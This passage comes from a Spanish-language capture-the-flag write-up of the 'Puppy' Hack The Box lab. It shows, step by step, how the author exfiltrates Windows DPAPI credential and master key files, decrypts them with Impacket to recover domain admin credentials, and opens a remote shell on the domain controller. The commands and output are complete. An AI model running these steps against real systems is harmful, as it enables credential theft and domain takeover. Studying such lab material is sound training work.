❯ echo -n 'AQAAAJIBAAAAAAAAAQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAEiRqVXUSz0y3IeagtPkEBwAAACA6AAAARQBuAHQAZQByAHAAcgBpAHMAZQAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAIABEAGEAdABhAA0ACgAAAANmAADAAAAAEAAAAHEb7RgOmv+9Na4Okf93s5UAAAAABIAAAKAAAAAQAAAACtD/ejPwVzLZOMdWJSHNcNAAAAAxXrMDYlY3P7k8AxWLBmmyKBrAVVGhfnfVrkzLQu2ABNeu0R62bEFJ0CdfcBONlj8Jg2mtcVXXWuYPSiVDse/sOudQSf3ZGmYhCz21A8c6JCGLjWuS78fQnyLW5RVLLzZp2+6gEcSU1EsxFdHCp9cT1fHIHl0cXbIvGtfUdeIcxPq/nN5PY8TR3T8i7rw1h5fEzlCX7IFzIu0avyGPnrIDNgButIkHWX+xjrzWKXGEiGrMkbgiRvfdwFxb/XrET9Op8oGxLkI6Mr8QmFZbjS41FAAAADqxkFzw7vbQSYX1LftJiaf2waSc' | base64 -d > C8D69EBE9A43E9DEBF6B5FBD48B521B9
Como paso extra (pero que siempre recomiendo), revisamos que el archivo ha sido transferido correctamente desde la máquina víctima a nuestra máquina de atacantes mirando su hash MD5. En la máquina víctima Windows podemos utilizar certutil para este propósito:
*Evil-WinRM* PS C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials> certutil -hashfile C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9 MD5
MD5 hash of C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9:
dd0259ec230bb91ef986e7b97835b0e4
CertUtil: -hashfile command completed successfully.
Y en nuestra máquina de atacantes (Linux) ejecutamos:
❯ md5sum C8D69EBE9A43E9DEBF6B5FBD48B521B9
dd0259ec230bb91ef986e7b97835b0e4  C8D69EBE9A43E9DEBF6B5FBD48B521B9
Ambos tienen el mismo hash MD5. Por lo que la integridad de la data está intacta.
Ahora bien, necesitamos obtener algunas “master keys” (llaves maestras) para extraer el contenido cifrado. Para ello primero necesitamos nuestro SID en el dominio, el cual puede ser obtenido fácilmente ejecutando whoami /user:
*Evil-WinRM* PS C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials> whoami /user
USER INFORMATION
----------------
User Name          SID
================== ==============================================
puppy\steph.cooper S-1-5-21-1487982659-1829050783-2281216199-1107
También podemos obtener el SID desde Bloodhound.
Una vez hemos obtenido nuestro SID, revisamos las master keys para éste:
*Evil-WinRM* PS C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials> Get-ChildItem -Hidden C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107
    Directory: C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a-hs-          3/8/2025   7:40 AM            740 556a2412-1275-4ccf-b721-e6a0b4f90407
-a-hs-         2/23/2025   2:36 PM             24 Preferred
Tenemos una master key. Descargamos este archivo como habíamos hecho anteriormente; pasando su contenido a base64:
*Evil-WinRM* PS C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials> [Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407'))
AgAAAAAAAAAAAAAANQA1ADYAYQAyADQAMQAyAC0AMQAyADcANQAtADQAYwBjAGYALQBiADcAMgAxAC0AZQA2AGEAMABiADQAZgA5ADAANAAwADcAAABqVXUSz0wAAAAAiAAAAAAAAABoAAAAAAAAAAAAAAAAAAAAdAEAAAAAAAACAAAAsj8xITRBgEgAZOArghULmlBGAAAJgAAAA2YAAPtTG5NorNzxhcfx4/jYgxj+JK0HBHMu8jL7YmpQvLiX7P3r8JgmUe6u9jRlDDjMOHDoZvKzrgIlOUbC0tm4g/4fwFIfMWBq0/fLkFUoEUWvl1/BQlIKAYfIoVXIhNRtc+KnqjXV7w+BAgAAAIIHeThOAhE+Lw/NTnPdszJQRgAACYAAAANmAAAnsQrcWYkrgMd0xLdAjCF9uEuKC2mzsDC0a8AOxgQxR93gmJxhUmVWDQ3j7+LCRX6JWd1L/NlzkmxDehild6MtoO3nd90f5dACAAAAAAEAAFgAAADzFsU+FoA2QrrPuakOpQmSSMbe5Djd8l+4J8uoHSit4+e1BHJIbO28uwtyRxl2Q7tk6e/jjlqROSxDoQUHc37jjVtn4SVdouDfm52kzZT2VheO6A0DqjDlEB19Qbzn9BTpGG4y7P8GuGyN81sbNoLN84yWe1mA15CSZPHx8frov6YwdLQEg7H8vyv9ZieGhBRwvpvp4gTur0SWGamc7WN590w8Vp98J1n3t3TF8H2otXCjnpM9m6exMiTfWpTWfN9FFiL2aC7Gzr/FamzlMQ5E5QAnk63b2T/dMJnp5oIU8cDPq+RCVRSxcdAgUOAZMxPs9Cc7BUD+ERVTMUi/Jp7MlVgK1cIeipAl/gZz5asyOJnbThLa2ylLAf0vaWZGPFQWaIRfc8ni2iVkUlgCO7bI9YDIwDyTGQw0Yz/vRE/EJvtB4bCJdW+Ecnk8TUbok3SGQoExL3I5Tm2a/F6/oscc9YlciWKEmqQ=
Y decodificándolo en nuestra máquina de atacantes:
❯ echo -n 'AgAAAAAAAAAAAAAANQA1ADYAYQAyADQAMQAyAC0AMQAyADcANQAtADQAYwBjAGYALQBiADcAMgAxAC0AZQA2AGEAMABiADQAZgA5ADAANAAwADcAAABqVXUSz0wAAAAAiAAAAAAAAABoAAAAAAAAAAAAAAAAAAAAdAEAAAAAAAACAAAAsj8xITRBgEgAZOArghULmlBGAAAJgAAAA2YAAPtTG5NorNzxhcfx4/jYgxj+JK0HBHMu8jL7YmpQvLiX7P3r8JgmUe6u9jRlDDjMOHDoZvKzrgIlOUbC0tm4g/4fwFIfMWBq0/fLkFUoEUWvl1/BQlIKAYfIoVXIhNRtc+KnqjXV7w+BAgAAAIIHeThOAhE+Lw/NTnPdszJQRgAACYAAAANmAAAnsQrcWYkrgMd0xLdAjCF9uEuKC2mzsDC0a8AOxgQxR93gmJxhUmVWDQ3j7+LCRX6JWd1L/NlzkmxDehild6MtoO3nd90f5dACAAAAAAEAAFgAAADzFsU+FoA2QrrPuakOpQmSSMbe5Djd8l+4J8uoHSit4+e1BHJIbO28uwtyRxl2Q7tk6e/jjlqROSxDoQUHc37jjVtn4SVdouDfm52kzZT2VheO6A0DqjDlEB19Qbzn9BTpGG4y7P8GuGyN81sbNoLN84yWe1mA15CSZPHx8frov6YwdLQEg7H8vyv9ZieGhBRwvpvp4gTur0SWGamc7WN590w8Vp98J1n3t3TF8H2otXCjnpM9m6exMiTfWpTWfN9FFiL2aC7Gzr/FamzlMQ5E5QAnk63b2T/dMJnp5oIU8cDPq+RCVRSxcdAgUOAZMxPs9Cc7BUD+ERVTMUi/Jp7MlVgK1cIeipAl/gZz5asyOJnbThLa2ylLAf0vaWZGPFQWaIRfc8ni2iVkUlgCO7bI9YDIwDyTGQw0Yz/vRE/EJvtB4bCJdW+Ecnk8TUbok3SGQoExL3I5Tm2a/F6/oscc9YlciWKEmqQ=' | base64 -d > 556a2412-1275-4ccf-b721-e6a0b4f90407
Ahora podemos utilizar dpapi.py de la suite de Impacket para extraer el contenido de los archivos DPAPI. Primero, extraemos el contenido de la masterkey (el segundo archivo que decodificamos) utilizando el SID de steph.cooper junto con su contraseña:
❯ impacket-dpapi masterkey -f 556a2412-1275-4ccf-b721-e6a0b4f90407 -sid 'S-1-5-21-1487982659-1829050783-2281216199-1107' -password 'ChefSteph2025!'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[MASTERKEYFILE]
Version     :        2 (2)
Guid        : 556a2412-1275-4ccf-b721-e6a0b4f90407
Flags       :        0 (0)
Policy      : 4ccf1275 (1288639093)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)
Decrypted key with User Key (MD4 protected)
Decrypted key: 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
Funcionó. Esto retorna un campo Decrypted key el cual es el importante.
Usamos el valor de Decrypted key del comando anterior para extraer el contenido del archivo DPAPI (el primer archivo que decodificamos/descargamos):
❯ impacket-dpapi credential -file C8D69EBE9A43E9DEBF6B5FBD48B521B9 -key '0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[CREDENTIAL]
LastWritten : 2025-03-08 15:54:29
Flags       : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist     : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type        : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target      : Domain:target=PUPPY.HTB
Description :
Unknown     :
Username    : steph.cooper_adm
Unknown     : FivethChipOnItsWay2025!
Tenemos credenciales: steph.cooper_adm:FivethChipOnItsWay2025!.
Revisamos si estas credenciales funcionan para el servicio SMB:
❯ nxc smb 10.129.246.234 -u 'steph.cooper_adm' -p 'FivethChipOnItsWay2025!'
SMB         10.129.246.234  445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB         10.129.246.234  445    DC               [+] PUPPY.HTB\steph.cooper_adm:FivethChipOnItsWay2025! (Pwn3d!)
Funcionan. Pero esperen, hay más. Obtenemos el mensaje Pwn3d! para el servicio SMB. Ello quiere decir que el usuario steph.cooper_adm es un administrador/usuario privilegiado en esta máquina. Dado que la máquina se llamaba DC, se asume que este es el Domain Controller del dominio y por ende este usuario también es administrador del dominio. Todo esto puede ser corroborado de igual manera con Bloodhound.
Finalmente, podemos utilizar una herramienta como wmiexec.py de Impacket para obtener una shell en la máquina DC como este usuario privilegiado:
❯ impacket-wmiexec PUPPY.HTB/steph.cooper_adm:'FivethChipOnItsWay2025!'@10.129.246.234
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
puppy\steph.cooper_adm
GG. Podemos extraer la flag de root en el Desktop del usuario Administrator.
~Happy Hacking.